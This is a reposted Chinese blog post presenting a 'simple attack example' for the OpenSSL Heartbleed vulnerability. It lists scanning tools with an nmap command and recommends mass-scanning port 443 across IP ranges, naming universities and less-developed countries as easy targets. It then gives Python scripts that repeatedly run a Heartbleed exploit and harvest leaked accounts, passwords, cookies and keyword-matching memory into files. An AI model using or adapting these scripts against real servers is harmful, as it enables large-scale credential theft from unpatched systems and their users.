zoukankan      html  css  js  c++  java
  • OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例

    转自:http://www.lijiejie.com/openssl-heartbleed-attack/
    

      

    OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。
    
    单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:
    
    1.  Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
    
    
    nmap -sV --script=ssl-heartbleed <target>
    1
    nmap -sV --script=ssl-heartbleed <target>
    2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394
    
    3. CSHeartbleedScanner:    http://www.crowdstrike.com/community-tools/
    
    若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。
    
    得到活跃主机IP地址,再导入上述扫描器。
    
    针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。
    
    也可以根据关键词,不停抓下cookie,账号等。
    
    将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:
    
    
    def hexdump(s):
        pdat = ''
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
    
        print '%s' % (pdat.replace('......', ''),)
        print
    1
    2
    3
    4
    5
    6
    7
    8
    def hexdump(s):
        pdat = ''
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
     
        print '%s' % (pdat.replace('......', ''),)
        print
    这样就只输出有用的ascii字符串了。
    
     1. 正则表达式抓账号
    
    
    import os
    import re
    import time
    
    accounts = []
    while True:
        result = os.popen('openssl.py ').read()
        matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
        for match in matches:
            if match not in accounts:
                accounts.append(match)
                with open('accounts.txt', 'a') as inFile:
                    inFile.write(str(match) + '
    ')
                print 'New Account:', match
        time.sleep(1.0)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import os
    import re
    import time
     
    accounts = []
    while True:
        result = os.popen('openssl.py ').read()
        matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
        for match in matches:
            if match not in accounts:
                accounts.append(match)
                with open('accounts.txt', 'a') as inFile:
                    inFile.write(str(match) + '
    ')
                print 'New Account:', match
        time.sleep(1.0)
    脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。
    
    这样可以避免重复写入同样的账号、密码。
    
    2. 根据关键词抓数据
    
    如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。
    
    类似下面的代码:
    
    
    import os
    import re
    import time
    
    accounts = []
    while True:
        result = os.popen('openssl.py ').read()
        keywords = ['system', 'password', 'passwd', 'admin']
        for word in keywords:
            if result.find(word) > 0:
                print 'new data', time.asctime()
                with open('data_1\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                    f.write(result)
                break
        time.sleep(1.0)
    
    import os
    import re
    import time
     
    accounts = []
    while True:
        result = os.popen('openssl.py ').read()
        keywords = ['system', 'password', 'passwd', 'admin']
        for word in keywords:
            if result.find(word) > 0:
                print 'new data', time.asctime()
                with open('data_1\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                    f.write(result)
                break
        time.sleep(1.0)
    这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。
    

      

  • 相关阅读:
    win10下安装为知笔记的markdown插件
    最近一段时间的工作状态
    C++中的取余与取模
    来新项目后,最心虚的一个夜晚
    g++添加支持c++11的选项
    Linux ssh远程登陆方式:密码与公钥
    判断脚本加载完成
    解决ie6下最小高度问题
    display:inline-block的深入理解
    ff下button按钮上的文字垂直居中
  • 原文地址:https://www.cnblogs.com/dongchi/p/4931534.html
Copyright © 2011-2022 走看看